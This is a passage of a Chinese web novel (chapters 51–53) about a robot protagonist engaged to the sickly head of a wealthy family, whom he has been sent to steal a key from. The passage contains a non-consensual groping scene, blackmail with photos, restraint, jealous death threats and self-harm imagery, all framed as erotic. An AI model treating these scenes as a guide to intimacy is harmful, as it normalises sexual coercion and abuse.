“青琅少爷,饭菜做好了,明天您要穿的衣服也为您熨烫过了,您是要在这里休息还是去二楼?我给您送过去。” “二楼。” 楚青琅应了一声。 挂断一直没声音的手机,干脆的推门走了出去。 他再也不想看见那些乌七八糟的东西了! 50-60 第51章 第 51 章 轻点。 早上七点, 楚青琅准时睁眼。 因为没有了越珩这个好用的理由,而且祁温昨晚也没有犯病,反而好好的在自己的房间中呆着,所以楚青琅就没有再次急着去找密钥。 不过祁温真的不愧是被剧情盖章定论的病秧子, 除了昨天那极短的一面之外, 基本见不到他的人。 就像是大门不出二门不迈的闺秀一样。 楚青琅起身, 先去洗漱, 然后换上了管家放到衣柜里面的衣服。 只是简单的白色连帽卫衣和牛仔长裤。 不过。 楚青琅站在洗漱台前,伸手拽了一下帽子尾端坠着的耳朵。 怎么给了他一件带着兔子耳朵的卫衣。 楚青琅瞬间想起了祁温在他身后说的那个故事, 脊背有些发凉。 白月光不会想弄死他吧? 盯着镜子看了一会儿,楚青琅还是收回了手,走了出去。 粉色的长耳朵到腰间,随着走路一晃一晃的。 此时,女佣已经将饭菜端了过来, 正挨个摆在小客厅的桌子上。 在他床脚,小黄的金色笼子换成了透明的玻璃缸,里面放了一些木屑, 木屑下是加热垫, 同样是昨天管家带人给换上的。 楚青琅扶住双膝, 弯腰看了会儿正在懒洋洋趴在那里的蛇,意外的发现它竟然生龙活虎。 他还以为吃了人类的食物, 怎么也会难受一会儿呢。 难道这就是小世界的特性? “少爷, 请用餐。” 女佣在身后请唤,却并未敢抬头。 楚青琅伸手摸了一下蛇的腹部,感受这那滑腻冰凉的鳞片,还有它的饱胀程度。 感觉吃不下了。 他收回手,走到了餐桌旁, 按着沙发靠背,转头看着她问:“你叫什么名字。” 女佣惊讶的抬头,露出一张浅淡温柔的面孔。 “少爷,我叫林荔。” 楚青琅歪头:“美丽的丽?” 林荔穿着统一的灰色套装,虽然将头发扎起,但是还有些许的碎发落在了脸侧,她笑着道:“荔枝的荔。” 楚青琅绕着坐在了沙发上,他仰头瞧着她说:“很可爱的名字,你吃早饭了吗?” 林荔愣了一下,眉眼愈发柔软起来,她说:“谢谢少爷夸奖,我已经吃过了。” 楚青琅垂头,“好吧。” 少年端正的坐在那里,唇抿着,莫名的,竟然带着几分郁闷。 粉色的耳朵乖巧的落在背后,坠着衣领露出一截白皙的颈子。 林荔又看了一眼桌子上的十几种饭菜,隐约间,有些明悟,她忍住笑,说:“少爷,别担心,您吃不完的话可以放着。” 楚青琅惊喜的仰头,“可以吗?会不会不太尊重你们的劳动成果?还浪费粮食” 好可爱! 想揉!! 林荔控制了一下蠢蠢欲动的手,在沙发旁边蹲下,看着跟来的黑亮透彻的眼眸。 “不会的,无论您用多少都可以,如果吃多了,也对身体不好。”她悄悄挤了挤眼,小声说:“其实这些吃不完的饭菜,我们很多都会带回家的,所以对我们来说,您吃不完当然算不上浪费,相反,我们还会很惊喜呢。” 原来还能这样! 楚青琅恍然,接着他将手搭在沙发边缘,同样学着她小声说:“我现在不饿。” 林荔点了点头,“那我帮您收起来。” 楚青琅认真道:“谢谢你。” 好耶,终于解决了一顿饭。 他看着林荔将饭菜重新放到推车中,摸着罩在沙发上的钩织花纹道:“祁温先生不吃饭吗?” 林荔摇了摇头,“我不清楚家主的事情,只是在您过来之前,家主一天也吃不了多少,饭菜也是管家送上去的。” 楚青琅嗯了一声,随即伸手就要帮忙把那些饭菜都收起来。 林荔却挡住了他的手,“少爷,家教老师已经过来了,现在正在外面的花房闲逛,您无聊的话可以先去找老师聊一聊。” “好的。” 楚青琅默默收回了手,他差点都忘了今天还要学习,学完后,白月光说今天教他乐器 明明他是来偷密钥的,现在他怎么感觉自己变成了好好学生。 * 今天的天气很好,澄蓝天空上几乎看不到云朵。 青草碧绿,不远处有佣人拿着园艺剪和水管正在认真的修剪浇灌。 楚青琅随手拉了一个男佣人询问了花房在哪里,得到了方向后就朝着那边走去。 一路上平静安稳极了。 经历过上个世界提心吊胆的他格外感激。 很快,花房就出现在了他的面前。相比起城堡冷硬的装饰,面前的建筑是用木材建立的,中间有着玻璃,阳光可以轻易穿透,让里面的花朵享受着充足日光。 楚青琅推开房门,沿着鹅卵石铺成的道路超前走去。 各种花香交织,中间,他还看见了一架秋千座椅。 他伸手推了一下。 锁链晃荡着,发出轻响。 他准备收回手,一股力道却从身后猛地袭来,将他推到了座椅上。 是谁? 来教学的老师难道以为他是什么小偷吗? 楚青琅翻身坐稳,握着锁链有些狼狈。 他回头。 出乎意料的,出现在他面前的,竟然不是想象中的穿着斯文的老师,反而是穿着黑色夹克,工装裤上吊着银色链子的主角攻。 越珩居高临下的俯视着他,瞧见他回望的目光,缓缓露出一个笑来,显出两颗尖锐的虎牙。 “看见我,开心吗?” 楚青琅有些惊讶,他还以为主角攻回去之后会被女人限制一下行动,怎么这么快就回来了? 女人到底是什么意思? 看见他没有反应,越珩冷冷道:“我已经给过你机会了,接下来,你会求我放过你。” 还真的被盯上了。 楚青琅就要站起来,越珩直接踢了一脚秋千。 坐在晃动的座椅上,楚青琅只能尽力稳住身子。 越珩靠在秋千的支架旁,从怀中拿出几张照片,慢悠悠的翻阅起来,“害怕了?怎么不叫我哥哥了?” 察觉到他不想让他下来,楚青琅干脆的蜷缩起双腿,搂着膝盖仰头,顺着他的话说:“哥哥。” 越珩手顿了一下,额角跳动,他掀起眼皮,深刻的轮廓显出几分冷意,“这么听话,怎么还敢来温德姆陷害我!” 楚青琅瘫着一张脸,在别人认定他做了什么事情后,就算是解释,也不会被相信。 更何况,他确实是小小的陷害了他一把。 仿佛是觉得自己胜券在握,越珩很快就冷静下来,他拿着照片轻摇,“现在我给你一个机会,过来,朝我下跪认错,不然,我会让你知道什么叫生不如死,到时候,可就不要怪我了——” 楚青琅只是睁着眼睛看他,语气平静道:“祁温先生让我来找老师,我要迟到了。” 说完,他瞅着秋千向后摇的时候,蹦了下来。 只是还没站稳,一只手就将他拽了过来,后背一阵闷痛传来,楚青琅眼前一花,越珩的面孔就出现在了他的脸前。 “装的这么乖巧做什么?害怕暴露吗?” 主角攻怎么老喜欢揪他的领子? 楚青琅握住越珩的手腕,神情依然平淡,“我不知道你在说什么。” 越珩冷笑一声,反手将他的手扣在了头顶。 另一只手中的照片翻转过来。 上面是祁温的侧脸,瞧上去像是偷拍。 楚青琅看了一会儿,说:“你拿祁温先生的相片干什么?” 越珩被他这装睁眼瞎的功夫气到了,手上的力道瞬间大了起来,楚青琅感到呼吸有些不畅,他拍了拍他。 “哥哥,我呼吸不过来了。” “闭嘴!”越珩眼皮痉挛了一下,他深呼吸了一下,下颌绷紧,他含着怒气道:“这东西都贴在你的房间里面,怎么,你敢说不是你自己贴的?你敢说祁哥不是你的目标?” 楚青琅想起来了。 这些照片确实是他贴的,祁温也确实是他的目标。 但是这一切都是你母亲的杰作啊? 女人知道自己的儿子这么恋爱脑吗?简直像白月光的一条忠诚的狗。 楚青琅有些烦。 下巴被坚硬的指骨顶起,他被迫对上那双凌厉的双眼。 “是我的。” 在他的质问下,少年神情终于出现一些波动,再也不像先前那样冷淡到目中无人的模样。 越珩眼微眯,仿佛咬住了猎物一般,莫名的亢奋让他又凑近一步。 “这么喜欢祁哥?” 两人的呼吸几乎交织在一起。 “看着照片意银的时候是不是很爽?” 楚青琅蹙了蹙眉,他刚要张口,一只手握住就握住它。 力道不轻。 他一下子弓起了身子,眼尾瞬间飞上红晕。 越珩的手揉捏着,还得寸进尺般挑衅,“怎么都看见照片了还不起来?” 楚青琅一下子涨红了脸,他从来没有见过这么无耻的人。 他从喉咙里挤出声音,“轻,轻点。” 被完全掌控住的精致少年咬着唇,抬起的眼眸漆黑,却不像刚见到那般带着漠然冷意,因为面上的红,显出几分人气来。 越珩感受到挣扎,下意识的将其压的更紧。 原本只是为了玩弄,强忍厌恶心情才做出这种举动的他,只觉得一腔热血冲向头顶。 他瞳孔发亮,舔舐了一下尖牙,些微的刺痛很好的缓解了身躯上蔓延的瘙痒。 “说话,是不是很/爽。” 他没有! “你怎么弄的?看着脸?” 机器人没有那种能力! “你不会羞愧吗?” 楚青琅颤抖着,腕部被有力双手连带支架一齐抓住。 阳光洒落,周围虽然都是被花朵包裹,但是只要有人稍微靠近,就能将两人的动作看个完全。 他第一次不顾人设,带着恼意道:“放手!我没你这么变态!” 越珩却完全不信,他忽地紧握,“再让我发现你这样做,我就掰断它。” 楚青琅腹部肌肉紧缩,声音几乎冲破齿关,又被他强硬咽回。 但是为了摆脱这种处境,他还是点了点头。 看见他终于服软,越珩眼中的兴奋愈发浓厚。 在察觉到束缚有着松懈的意思后,楚青琅连忙挣开手臂,反手给了他一个巴掌。 毫不留情。 越珩被打的偏了偏头,他顶了下发烫的腮,回头看着面前愤怒的少年,却是将手中已经被揉皱的相片慢慢伸平。 俯身,塞进了楚青琅的口袋里面。 “记住,这是第一张。” 楚青琅瞪了他一眼,骂他。 “变态。” 越珩面上的笑容几乎没下来过,他掐住少年的下颌。 “叫哥哥。” 楚青琅听见玻璃房外传来说话声,他看着面前因为他的沉默而挑眉,又作势伸手的人。 还是隐忍叫了一声。 “哥哥。” 大手捏了一把他的脸。 越珩说:“这样才乖。” 楚青琅扯下他的手,越过他埋头朝着前面走去。 这下好了,他还要换一身衣服。 不是,剧情中的主角攻这么可怕吗? 越珩看着少年的背影走远,后退一步坐到秋千上,从兜里又拿出几张照片,思索着下次的惩罚。 只是在对上其中一张祁温浓黑眼眸后,他才猛的从那极度兴奋中清醒过来。 他不是要来找茬的吗? 怎么给人家弄了一下,还反被打了一巴掌。 越珩停下摇晃,脚尖杵地。 那炙热的感觉还残留在掌心。 眼前又浮现出少年隐忍的面孔。 鬼使神差的,他举起手嗅了一下。 并没有想象中的腥/臊,反而还带着一些清香。 越珩将照片反扣,心安理得的安慰自己。 祁哥对他那么好,他为了保护祁哥,对心怀鬼胎花言巧语的坏人,态度过激一点。 也是正常的吧? * 楚青琅刚走出花房,就被在外等待的管家抓住了小臂。 “少爷,您母亲来了,现在正在待客室,您要去看看吗?” 原来越珩是被带过来的。 他说怎么前脚刚被赶出去后脚怎么又过来了。 要是越珩自己的话,门卫一定会拦着,但是女人带他过来就不一样了。 管家看着少年下颌的红,有些疑惑:“您脸怎么了?” 楚青琅有些不解,忽然想起离开前被越珩掐的了一下,应该就是那时候留下的印子。 一想起,浑身上下都开始难受起来,下/身凉飕飕的。 他攥紧拳头,努力平静语气,“可能在哪里碰到了,我刚刚找老师不小心摔了一跤,需要先去换身衣服。” “你能帮我和妈妈说一声吗?我很快过去。” 仔细看,少年的衣服确实带着些许的灰尘和细微的褶皱。 和先前经常保持的平整大相径庭。 管家点头,微微后退,让出了道路。 楚青琅加快脚步离开这里。 心中莫名的急切催动着他的动作,他重新洗了个澡,随手拿了两件衣服套上就离开了自己的房间。 中间路过镜子的时候,少年已经完全看不出那被人为增加的活气。 路上碰见了林荔,问完话后可能担心他找不到地方——毕竟这个城堡房间很多,无论是客房还是做别的用处的房间,他被她亲自带到了会客厅。 楚青琅打开门,里面的几人停下口中的话,顺着声音扭头看他。 幕帘收拢,阳光穿过落地窗将充沛阳光洒在回首的几人身上。 只见刚刚还在花房中的越珩,此时正斜坐在沙发扶手上,衬衣马甲大长腿,向后梳起的发露出深邃挺拔的五官。 正眼也不眨的望着他,眉宇间流露出残酷的高高在上的笑意。 他向他挥手,手指弯曲,众目睽睽中,做出下/流的手势。 虽然只是短短一下,但是楚青琅不知道周围的人是否看见,尤其是正对着越珩坐在那里的祁温。 而现在,对着祁温那含着凉意的黑眸,他有一瞬间的心虚。 毕竟他现在的身份还是他的订婚对象。 虽然他也是被迫的。 越珩挨着的女人穿着艳红长裙,坐在深蓝丝绒软垫上。 她靠着扶手懒懒回头,同色指甲点着面颊,瞧见他时露出温柔的笑。 “青琅,正好讲到你呢,快来。” 楚青琅叫她:“妈妈。” 不自在的扣了一下门框,迈步走了进去。 他本来是朝着女人走去的,但是女人身旁有着越珩,而越珩凝在他身上的视线犹如实质,还有他刚刚的举动,让楚青琅有着些许的犹豫。 正在这时,一旁的祁温平淡开口,“过来。” 祁温坐的是一个长长的沙发,和女人坐的明显是同套,看上去容纳两人不成问题。 因此楚青琅脚尖转了个方向,就坐到了祁温的身旁。 两人穿的颜色相同,一乖巧一冷漠,气场相融,瞧起来,意外带着几分的登对。 女人将一切看在眼中,她面上的笑容不变,只是将手放了下来,正巧按住一旁脸色阴沉,准备上前扯人的越珩。 轻飘飘的力道却在一瞬间就将越珩的理智拉回。 他瞧着少年端正乖巧的坐姿,挑眉哼笑了一声,安静了下来。 几人的视线都凝固在楚青琅的身上,他默默的僵硬了动作,将视线放到面前桌子上摆放的花束,动也不敢动。 祁温随手将面前的茶杯推到他的身前,然后拿过一个橘子缓缓的剥了起来。 清香夹杂着从女人身上传来的香水味。 楚青琅忍不住抬头,看着女人。 女人收回手,却并没有看他,只是笑着说:“看来小温很满意青琅,那我这个媒可是做对了。” 祁温慢条斯理的褪去橘子上面的白色脉络,动作优雅贵气。 “是,所以很感激您,岳母。” 他将橘子一分两瓣,放到了楚青琅和女人身前。 随后拿起一张纸,擦拭着手,细微的摩擦声下,是他依然轻飘的话语。 柔软纸张吸取着不存在的水渍,手掌皮肉仿佛只是堪堪挂住骨骼,没有丝毫血肉。 苍白嶙峋。 “至于您说要青琅接手那边的酒庄生意,我觉得还不到时候。” 他一个棋子接手什么酒庄? 楚青琅疑惑的看着女人,却只见她神情平静,毫无意外的样子。 第52章 第 52 章 拆坟。 他的任务不是偷密钥吗? 楚青琅有些不解, 但是他本能的相信女人,于是并没有急着开口。 自从女人将他激活,他就将女人的的名字刻在了最底层的程序上。 女人瞧了他一眼,拨弄着指甲语气轻快, “是我忘说了。越家的人都是官面上的, 对商界这方面实在不懂, 但是小珩这孩子一定要接手酒庄, 死活不顺着我们的路走。” “那个酒庄原本就准备给青琅的,虽然也可以让小温你经营, 但是以后你们毕竟是夫妻,所以青琅也要支起来,给你分担分担一下压力,这商业方面的事情你也可以教一教他,别总让他跟个孩子一样。” “至于脏活累活可以让小珩去做。我就想着小温你在教导青琅的时候, 找些空闲时候,顺便给小珩指点一下,免得他走弯路。虽然我很想小珩知道经营的难度, 然后顺着我们的安排走, 但是也是怕他吃苦折了心气。” 越珩听完却是一脸嬉笑, 伸手搂住女人的脖子撒娇。 “妈,给我留点面子。” 女人偏头瞪了一眼他, 伸手点着他的眉心, “你啊,就会给我出难题。” 一副对叛逆儿子没办法的模样。 楚青琅倒是有些回过味来了。 他先前告诉女人,他无法判断祁温到底是把密钥放在那里。 所以女人就在嫁妆单子上面挑挑选选了一个所谓的酒庄,让他借机找祁温问事情。 顺便增加两人的相处时间。 她表现的像是被越珩软磨硬泡过来的。 再加上越珩一向喜欢黏着祁温,而之前越珩被扫地出门。 在外人的猜测中, 很有可能是越珩求了自己的母亲过来,借楚青琅这个幌子只为了重新踏入祁家。 合情合理,顺便还能把真正的目的和楚青琅给边缘化了。 只是不知道这理由能不能让白月光相信了。 祁温虽然体弱多病,但是支撑起这么大一个家,还是有些手段的吧? 楚青琅偷摸转动眼珠,看了一眼祁温。 却不妨对上了那双乌黑瘆人的眸子。 不知何时,祁温停下了擦拭手掌,将头扭了过来。 心脏猛地加速跳动一拍。 要不是他是机器人,没有汗腺,后背在此时就已经吓得出汗了。 楚青琅瞬间收回视线,却见祁温朝他伸出了手。 后背传来一股冰凉的酥麻感,沿着领子摸到了肩胛骨。 他当时随手挑选的是一件圆领卫衣,单薄。 因此那冰块一样的温度,极为顺利的沿着皮肤传递到神经。 祁温按着他的后背问:“不喜欢?” 他是在问他为什么没有穿那件兔子卫衣。 楚青琅手指骨节互抵了一下,喉咙有些发干,“没有。” “嗯,不喜欢就说。” 祁温话语没带任何情绪。 楚青琅一时听不出来他是生气还是真的不在意。 被晾着的女人依然面色未变。 倒是越珩,神情陡然阴沉了下来。 楚青琅抿了下唇,正准备催促白月光回答,但是手中却突然多了半块橘子,正好打断了他的话。 祁温给他投喂好橘子,顺手将人楼了过来。 苍白大手从肩膀下滑,搭在了臀侧。 他抬眼,同意的干脆。 “可以,但是越珩不行。” 两人对上视线,女人的脸倏地僵了一下。 不知为何,她总觉得自己仿佛被扒下了所有面具,赤身裸/体的站在这个男人面前,所有的算计无处遁形。 但是她也不是吃素的,很快就压下了眉宇间细微的恐惧。 女人笑着转头,对越珩说:“那就没办法了,小珩,这可不是我不帮你。” 越珩一再被祁温这样对待,神情很明显的带上了不悦。 毕竟再好的脾气也挡不住他一直热脸贴冷屁股。 他眼中浮现出晦暗,面上不再带着浮于表面的委屈,站直身体,抬步就朝着楚青琅走去。 楚青琅正在思索着后面怎么借酒庄找到祁温真正的办公场所。 不过随即他就想起来,现在自己不光要学习课本知识,还要学习那些课外知识,现在又来了一个经营酒庄的任务,虽然就算他搞砸了旁人也不会说什么。 但是他一向做事就要做到最好,让他故意搞砸也实在不符合他的性子。 所以,接下来,他是不是要连轴转了! 楚青琅有些头皮发麻。 下一刻,面前的光芒就被彻底阻挡,阴影浮现,一只手按住了他的肩膀。 楚青琅抬头,就看见距离他极近的,一张英俊深邃的面孔噙着冷笑,缓缓用拇指摩挲他的脖颈。 “青琅也要赶走哥哥吗?” 越珩这样说着,胸前口袋中的相片仿佛不经意间露出一角。 这就是赤/裸裸的威胁。 楚青琅眨了下眼,越过他的肩膀看向了安稳坐在那里喝茶的女人。 女人却并没有看他,只是侧着头,欣赏着窗外的景色。 看起来,越珩完全不知道他的任务,女人想要自己的儿子清清白白的。 但是楚青琅不能忽视她之前的话,他总是忍不住想要实现她的所有意愿。 而且,现在将主角攻赶走,万一他对白月光的感情变化影响到剧情怎么办? 他沉默着。 越珩直起身,装模做样的叹了一口气。 “亏我为了补偿,特意给青琅找了最想要的东西呢。” 他向胸前伸手,将那口袋里面的照片缓缓夹出。 楚青琅猛地站起身,按住了他的手腕。 一边,滑落在沙发上的苍白手指一根根的蜷起,青筋血管凸的明显。 “没赶。”他顿了下,又慢吞吞的说:“别欺负我。” 手腕一侧被温热包裹,面前的少年还一脸正经的说着这样的话。 越珩瞬间笑了起来。 他眉开眼笑的将照片塞了回去,抬手摸了摸楚青琅的头发,“就知道青琅舍不得哥哥。” 经过先前的事情,主角攻再次碰他,楚青琅就忍不住生出鸡皮疙瘩。 楚青琅拍开越珩的手,这才想起他这是在自作主张。 他将询问的目光向着祁温望去。 祁温仿佛感到疲累,他靠在沙发上没有看他,衣袖下,金属环状若隐若现。 楚青琅叫他,“祁温先生。” 祁温指尖顿住,声音冷淡,“你同样是祁家的主人,自然有留下客人的权力。” 越珩揉着手背,斜着身子站在原地,闻言笑了一下,却又很快的凝固住。 他仿佛不解的瞥了一眼祁温,又用着难以言喻的目光看向了楚青琅。 空气一瞬间沉寂下去。 门口,管家敲了一声门板,随后推门进入。 “家主,老师们到了。” 祁温嗯了一声,管家就对着楚青琅道:“少爷,跟我来,该到学习的时候了。” 楚青琅点了点头,朝着门口走去。 在经过女人身旁时,他不由的停了下脚步,余光中,女人手搭在沙发扶手上,没有丝毫动静。 于是他收回视线,跟着管家走出了房间。 他一走,越珩直接坐在他的位置上。 手臂搭在沙发靠背,翘起了二郎腿,姿势豪放。 女人微笑着起身,“我也先走了,家里还有事情要处理。” 看见祁温作势起来,她连忙伸手按了按,“小温你先歇着,这次找你过来已经是耽误你养病了,好好修养,下次我在来看你。” 说完,她对着坐在沙发另一头的越珩嘱咐道:“既然你已经留下来了,就好好学习,别让小温生气。” 越珩朝她挥了挥手,“知道知道。” 女人这才放下心来,转身走了出去。 咔哒—— 门被重新关上。 会客厅视野空旷,两人本来早已相熟,但是现如今,气氛却是莫名凝重,让人喘不过来气。 越珩靠着沙发靠背,将兜里的照片背对着祁温拿出来。 一张张的看过去。 他已经看了好几遍,早已对这些照片熟悉。 虽然有的视角模糊,但是可以看出拍摄之人对照片上人的用心。 那眉眼之前也让他心脏急速跳动。 但是此时看着上面的人,想到那个呆呆的少年,是如何攒钱买着对他来说昂贵的相机和相纸,只为了留下男人虚幻的剪影。 心中就突地生出一股子戾气来。 他们到底是什么时候相遇的? 母亲要少年来祁家联姻是不是他自己主动要求的? 他喜欢祁哥? 祁哥呢? 喜欢他吗? 明明察觉到不对了,明明知道母亲一直对祁家虎视眈眈,为什么还要同意? 两人两情相悦? 怎么可能?明明少年在他的手里还硬/过,如果真的那么喜欢祁温,怎么会在别人的手中硬/起来? 他倒扣下照片,瞧着不远处已经闭上眼,表面平静无波的男人。 声音褪去故作的轻浮,变得冷酷起来。 “祁哥,他不适合你。” 祁温睁开了眼。 眼白泛着血丝,唇惨白。 “不适合我。” 祁温缓缓转过了头,白纸一张的面孔上,极黑的眼眸显露出淤泥般幽暗恶意。 “适合你?” 轻飘飘的声音却宛如平地惊雷,炸的越珩瞳孔紧缩。 他下意识反驳。 “怎么可能!祁哥,我是为你好!他一个私生子,还是我的兄弟,我” 忽然。 太阳穴连带着神经骤然疼痛起来,如电钻在不断深凿,越珩不由得捂着脑袋痛哼。 良久。 他迷茫抬头,瞧见祁温后,一双眼流露出依赖和喜悦来。 “祁哥!我怎么在这里,对了,接下来我要和你学习如何管理酒庄。” 祁温只冷冷的呵了一声,起身,朝着外面走去。 越珩看着他的背影,怔在原地。 * 楚青琅跟着管家来到那间阳光充裕的房间。 此时,里面已经有着几个人在等待着他。 这就是他的所有科目的老师。 管家介绍完他们,就离开了房间。 只留下楚青琅一个人在几个人的面前呆愣站立。 其中一个女老师主动开口询问,“青琅,我可以这样叫你吗?” 楚青琅点头。 女老师接着说:“我是教导你数学的,我们不用学的非常深入,来之前雇主给我们说了,只会让你学习到大学的课程就好,对了你现在的水平如何?” 楚青琅看着她,慢慢说:“我没上过学。” 一旁站着的几个老师面面相觑了一阵,虽然在到来之前已经了解过这次的学生基础很差,但是没有想到会这么差。 他们讨论了一下,引着楚青琅在凳子上坐下。 “那我们先从基础知识教你,你认真学习,很快就能将核心课程全部掌握,还有一些通识课程,这部分不是很重要,你了解一下就可以” 楚青琅坐在凳子上,睁着眼谁说话就朝谁看去。 然后就被布置了一堆的作业。 等他反应过来,已经到了下午。 最后一笔停下,楚青琅呼了一口气。 这些知识他虽然没有学过,但是他学习的进度还是很快的,甚至让老师们都有些惊讶。 楚青琅伸手将书本卷子整理了一下,耳边却突然响起了“簌簌”的笔尖转动声。 他扭头,这才发现在不远处坐着一个熟悉的人,正低头翻看着书籍,察觉到他的视线,掀起眼皮望了过来。 男人衬衣长裤,身型消瘦嶙峋,目光深深。 “先生?” 祁温没有说话,只是朝他招了招手。 楚青琅将凳子拉开,走了过去,站在他的面前。 祁温不知道看了他多久,面色愈发惨白起来。 楚青琅瞧见那颜色有些心惊,他伸手触碰了一下,却只感受到了一手的冰凉。 两人站在一起,楚青琅觉得他都比这个白月光像人一点。 “您的脸色很难看,需要我为您叫医生吗?” 祁温冷淡道:“死不了。” 他指了指一旁,“换上吧。” 椅子上搭着一套衣服。 白色敞胸衬衣,边缘用金线宝石绣上了花纹图案,下身是黑色高腰长裤,金色褡裢位于腰间,能够将他的所有勾勒完全。 一天不到,舞蹈服已经做好了吗? 楚青琅有些许的震惊,“现在吗?” 祁温没有说话,只是看着他。 动作神情很明显就是要他,现在,此时,立刻换上。 虽然不是第一次在男人面前袒露身躯,但是他还是感受到了不自在。 楚青琅“……” 剧情里也没说白月光和主角攻一样变态啊! 这难道就是变态和变态的惺惺相惜吗? 楚青琅沉默了一会儿,弯腰将那衣服拿起,“先生,我去旁边换。” 手腕却被一把抓住,他踉跄向前一步,脚尖却被祁温的膝盖阻挡,几乎没了进路,但是手上的力道还在,他便只能弯腰将手撑在了椅子的靠背上。 两人距离一下子拉近。 祁温垂头,在他肩膀,胸膛嗅了嗅。 浅淡的呼吸声让楚青琅头皮发紧。 他下意识的松开手,直起身子。 但是一瞬间场面变得更加糟糕起来。 楚青琅想要后退,却被腰部把着的手定在原地。 “你们干了什么?” 祁温仿佛察觉到了什么异样,声音冷了下来。 问谁? 越珩吗? 楚青琅肌肉紧绷了一瞬。 他总不能说越珩给他手了一下吧…… “先生为什么这么说?” 楚青琅声线平直,带着纯然的不解。 “我以为先生对我并没有好感,为什么这么关注我?” “味道不一样了,还有——” 祁温脊背突出的骨骼震动了一下。 他扬起头,幽幽道:“见你第一面我就想上/你,你说有没有好感?” 楚青琅不解:“啊?” 祁温语气竟然轻柔起来,他缓缓解开袖扣,将衣袖卷起。 苍白臂膀露出,从大臂到手腕,赫然缠绕着银色荆棘臂环。 锋利尖端深入皮肉,血液丝丝溢出。 “我只能依靠各种疼痛刺激保持着理智,一旦失控,会无意识的伤害生命,每当我失去意识,醒来后出现在我面前的就是成堆的尸体。” “但是你不一样,你激起我的爱/欲,让我清醒。” “你是我的药。” 楚青琅张了张嘴,却始终没有说出来话。 这下子祁温所有的异样都得以解释清楚了。 如果一个人,常年或主动或被动无法解决自己的生理心理需求,加上他之前说的父母控制欲极强,会强制矫正他的行为。 那么,白月光变得这么变态,还真的有些可以理解。 楚青琅按住他的手。 “先生,冷静一点,你心跳太快了,还有肾上腺素分泌过多,亢奋的情绪会影响你的……” 别扒了别扒了! 再扒下去他的粉色内/裤就露出来了!! 虽然白月光应该知道,毕竟这也是他让管家给他的。 “我后悔了,别人不行。” 祁温完全没听他在讲什么,猩红的舌尖缓缓舔舐了一下唇。 “你是我的妻子,所以,我亲自教你。” 楚青琅下意识的抓住他的发,迷茫的看了过去。 祁温深潭罩雾一般的眼眸中,被点点火苗烫出血色。 疯狂,杀意,贪婪,欲/望,渴求。 如此熟悉的目光,让楚青琅将其和记忆中的人联系起来。 他下意识唤他:“厉屿?” 那血色瞬间被冰封覆盖,透着刺骨寒意。 反应过来后,楚青琅急忙挣扎。 腰上力道大起来,掌心夹着肌肉,刺痛将半身麻痹。 楚青琅隐忍的蹙了下眉。 祁温缓缓松开了手,将他拽坐在地上。 他捧着他的脸,语气平静。 “不是越珩,不是岳母,不是林荔,他是谁?” “你的资料上,没有他。” “你和他什么关系?” 楚青琅只能沉默。 他总不能说这是上个世界的人。 脸侧的力道加大,却又克制着没有让他不适。 祁温贴到他的面前,引诱般轻哄。 “好孩子,骗人是不好的,和我说说他,好不好?” 少年蛾翅般的眼睫颤了下,仿佛鼓起勇气一般看了过来。 玻璃似的眼珠满是惊讶。 楚青琅慌忙抬手,擦过祁温嘴角流出的血液,掰着他的嘴巴。 试图看看到底是那里来的伤口。 连声音惊恐起来。 “先生,你冷静,我说,我说,你别生气。” “他只是我一个朋友,现在已经不在这个世界上了,我们什么都没做,只是刚刚突然想到他了。” 祁温咽下咽喉的鲜血和肉,神情未变。 看不出是信还是没信。 他亲了一下探查的指尖。 盯着楚青琅,话语如毒蛇吐信般阴森。 “可以跟你亲密接触的朋友?” 楚青琅连连摇头。 “不是,我们没有。” 祁温凝视他许久,忽地抬手,按了按他的头。 沉重力道让楚青琅的头一点一点的。 “最好没有。” “我有病,会拆坟的。” 第53章 第 53 章 啃噬。 “少爷, 不用担心,您可以先去休息。” 楚青琅点头,看着管家带着几个人将祁温抬走,那双漆黑眼眸也紧紧合上。 他心底松了一口气。 刚刚祁温那样子, 他都差点以为要出人命了。 还好这里有家庭医生。 楚青琅抹了一下身上的血渍, 顺着高塔走下。 看起来, 他又要换衣服了。 不过还好把那个什么舞蹈给躲掉了。 不过就祁温那个病殃殃的样子, 估计也教不了什么。 倏地,楚青琅脚步一顿。 白月光望他的眼神浮现在眼前。 为什么会将他看成厉屿呢? 因为里面蕴含的情绪, 那种灼热的,将他灵魂都烫到的感情。 一摸一样。 而在上一个世界的时候,他还隐约感觉到厉屿和兆歧有着些许的相似。 他心脏猝然漏跳一拍。 在主神空间时随口询问的话又一次的浮现在心头。 这次是比上次更加,更加清晰的感觉。 虽然主系统已经否认,这个猜测也过于离谱。 但是没有比这个想法更能解释他的失败经历。 如果是真是他猜想的那样, 那么主系统为什么要瞒着他? 为什么一定要他来完成任务呢? 楚青琅抬手想要按一下太阳穴,但是指间的血液还是让他放弃了这个想法。 走下阶梯时,他回了下头。 灰色高塔仿佛一个巨人一般, 顶着天空俯视着他。 * 回到自己的房间后, 楚青琅洗了洗手。 顺势将小黄拿在了手上。 小黄乖的很, 也不反抗,就是老喜欢缠在他的脖子上。 楚青琅也不管它, 只是在它用力过大的时候才会将尾巴拽下来。 等他玩了一会儿小黄之后, 女人已经把酒庄的基本资料发给了他。 还有最后一句让他尽快完成任务的嘱咐。 相比起前面的从容,带着急切。 楚青琅接收完成之后,将资料传送到了手机上。 于是他开始慢吞吞的把玩着手机。 对于他来说,手机这种电子产品过于落后,玩起来仿佛试图学习原始人钻木取火一样。 但是后面他还要根据这些资料针对性的提出问题, 因此他要将这些情况牢记于心。 窗外突然传来马儿的嘶鸣声。 忽地。 玻璃破碎声在耳边乍响。 楚青琅扭头看去。 一颗石子滚来,安静的躺在他脚边的地毯上,零散的玻璃碎片正反射着阳光。 刺眼。 他起身,捡起石子,向着窗户走去。 只见原本对他不说缓和,至少平静多的越珩。 正骑着马踩着草坪在楼下晃晃悠悠。 仰着头,面上带着恶劣的笑。 神气极了。 越珩一只手控马,一只手伸出食指和中指,指了指自己的双眼,然后在虚空中划出一个弧度。 又对准了他。 ——我会一直看着你。 楚青琅歪了下头,将手中的石子扔了下去。 在石子轻微的坠地声中,小黄顺着他的手臂攀到他的肩膀,扬起头颅嘶嘶的朝着下面吐着信子。 破碎的窗户拢着他。 花纹斑斓的毒蛇紧紧缠绕着面容精致的少年。 浓墨般的眼眸和冰冷的蛇瞳,一齐望了下来。 越珩猛地放下了手,他下意识按了按自己的心脏,面上的恶意变为呆愣。 与此同时,安静的呆在他□□的马儿忽地叫了一声,撂起蹄子转了个方向,朝着远处冲去。 